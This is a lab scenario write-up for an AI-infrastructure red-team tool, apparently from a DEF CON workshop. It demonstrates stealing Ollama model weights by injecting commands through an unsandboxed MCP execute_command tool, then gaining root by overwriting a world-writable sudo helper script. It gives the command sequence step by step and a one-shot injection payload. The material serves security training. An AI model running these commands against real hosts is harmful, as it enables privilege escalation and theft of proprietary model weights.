Scenario 13: Privilege Escalation â Model-Weight Theft¶
★ Shown at DEF CON RTV - part of the guided demo/workshop. All scenarios
Difficulty: Advanced Time: ~20 minutes Prerequisites: Complete Scenario 11 (MCP Tool Infection) Target: ailab-dev:11434 (Ollama) → ailab-dev:3000 (MCP) → local root
Background¶
The most valuable asset on an AI host is usually the model itself - the fine-tuned weights a team spent money and proprietary data producing. This scenario is the honest answer to "can you steal the model?": not over the network, and not from the low-privilege foothold the network gives you - but yes, after a local privilege escalation.
It is deliberately built around an honest negative. aipostex will not claim a weight theft
it cannot back up. The Ollama module tries the network paths, finds them genuinely closed, and
reports reachable - and that honest dead-end is the signpost that points to the real path:
a co-located service-account RCE plus a classic Linux sudo misconfiguration.
The estate facts that make this real¶
On ailab-dev (172.16.50.10):
- Ollama serves the models but exposes no blob download -
GET /api/blobs/...is not a route. There is no HTTP path to the raw weights. - On disk the weight store
/usr/share/ollama/.ollama/models/blobsis0750 ollama:ollama. - The MCP server (
:3000) exposes an unsandboxedexecute_commandtool and runs as thedevuserservice account. RCE here lands you asdevuser. devuseris deliberately not in theollamagroup, so from the MCP foothold the0750store is genuinely unreadable. No shortcut.- An admin left an
ollama-maintenancehelper thatdevusermay run with passwordless sudo (/etc/sudoers.d/ollama-maintenance) - and left the helper itself world-writable (0777 root:rootat/usr/local/bin/ollama-maintenance.sh). That is the GTFOBins-class misconfiguration: a root-run script anyone can rewrite.
The only path to the weights: MCP RCE (devuser) → overwrite the world-writable helper →
sudo it → root → read the 0750 blob store → real GGUF bytes.
Objective¶
Prove model-weight theft end-to-end: escalate from the devuser MCP foothold to root and read
raw GGUF weight bytes off the 0750 Ollama blob store.
Step 0 - The honest negative (the signpost)¶
aipostex ollama --target http://172.16.50.10:11434 \
exfiltrate --model smollm2:135m --force-exploit --no-banner
Expected: landed: reachable. The finding states plainly that there is no HTTP blob
download and the on-disk store is root-only, so weight theft requires a local privesc - and
names the co-located MCP RCE as the pivot. This is aipostex refusing to overclaim; the negative
is the lead.
Step 1 - Confirm the foothold (RCE as devuser)¶
aipostex mcp --target http://172.16.50.10:3000 \
poison --mode cmd-inject --command 'id' --force-exploit --no-banner
Expected: landed: execution-confirmed; evidence shows uid=1001(devuser). You have code
execution - as a low-privilege service account that cannot read the weight store.
Step 2 - Escalate and steal the weights (readable path via mcp shell)¶
The clean, one-command-per-line way to drive the escalation is the interactive MCP console - no nested shell quoting, each tool call is a single readable line:
Then, at the mcp> prompt:
mcp> :tools
mcp> execute_command {"command":"id"}
mcp> execute_command {"command":"ls -la /usr/share/ollama/.ollama/models/blobs"}
mcp> execute_command {"command":"echo '#!/bin/bash' > /usr/local/bin/ollama-maintenance.sh"}
mcp> execute_command {"command":"echo 'id' >> /usr/local/bin/ollama-maintenance.sh"}
mcp> execute_command {"command":"echo 'for f in /usr/share/ollama/.ollama/models/blobs/sha256-*; do echo BLOB $f; head -c 48 \"$f\" | xxd | head -2; break; done' >> /usr/local/bin/ollama-maintenance.sh"}
mcp> execute_command {"command":"sudo /usr/local/bin/ollama-maintenance.sh"}
mcp> :quit
What you see:
:toolslistsexecute_command(the unsandboxed shell).lson the blob store → Permission denied (the0750reality; devuser has no shortcut).- The three
echos rewrite the world-writable helper with a payload of your choosing. sudo ollama-maintenance.shruns the rewritten script as root (passwordless), printinguid=0(root)and the GGUF magic bytes (47 47 55 46=GGUF) from a real weight blob.
Root reading real model bytes off disk = the model is stolen.
One-shot variant (non-interactive)¶
The same escalation via a single cmd-inject payload (handy for scripting; noisier on camera
because of the nested quoting):
aipostex mcp --target http://172.16.50.10:3000 \
poison --mode cmd-inject --force-exploit --no-banner --command \
'printf "#!/bin/bash\nid\nfor f in /usr/share/ollama/.ollama/models/blobs/sha256-*; do echo BLOB $f; head -c 48 "$f" | xxd | head -2; break; done\n" > /usr/local/bin/ollama-maintenance.sh; sudo /usr/local/bin/ollama-maintenance.sh'
Expected Finding¶
{
"finding_type": "model_weight_theft",
"service": "mcp",
"landed": "execution-confirmed",
"stage": "own",
"detail": "devuser MCP RCE -> world-writable sudo helper overwrite -> root -> read 0750 Ollama blob store",
"evidence": "uid=0(root) ... BLOB /usr/share/.../sha256-... 47475546 GGUF ..."
}
Landed grading: execution-confirmed / own - the highest honest rung, earned only
because the evidence shows uid=0 and real weight bytes off disk. Merely reaching the
helper or getting an accepted sudo without proving the read would not earn it.
Real-World Impact¶
- The model is the crown jewel. Fine-tuned weights encode proprietary training data and months of spend. Exfiltrating them is IP theft, not just a config leak.
- AI-specific reframing of a classic bug. The
sudo+ world-writable-script primitive is GTFOBins 101; what makes it an AI infra finding is what it unlocks - the model. The generic variants (atar/systemd/cronsudo entry) reach the same root; the target is the point. - Least-privilege that actually holds. The lab is honest here: the network foothold and the service account genuinely cannot read the weights. The escalation is a real, separate step - which is exactly how a defender should think about blast radius.
Cleanup¶
The escalation overwrites .10's ollama-maintenance.sh. The estate self-heals on the next
reset-wave (re-provision reinstalls the pristine helper). To restore it immediately without a
full reset, re-run the idempotent installer block from
lab-scripts/dev-workstation/provision.sh (the "ollama-maintenance helper" section), which
rewrites the pristine helper and re-asserts 0777 + the sudoers rule.
Follow-On¶
- Scenario 12: fold this into the multi-vector campaign as the "own the host, take the model" finale.
- Reference: Operator Field Manual - the whole-estate map, both
headline chains, and the per-service
landedgrading in one place.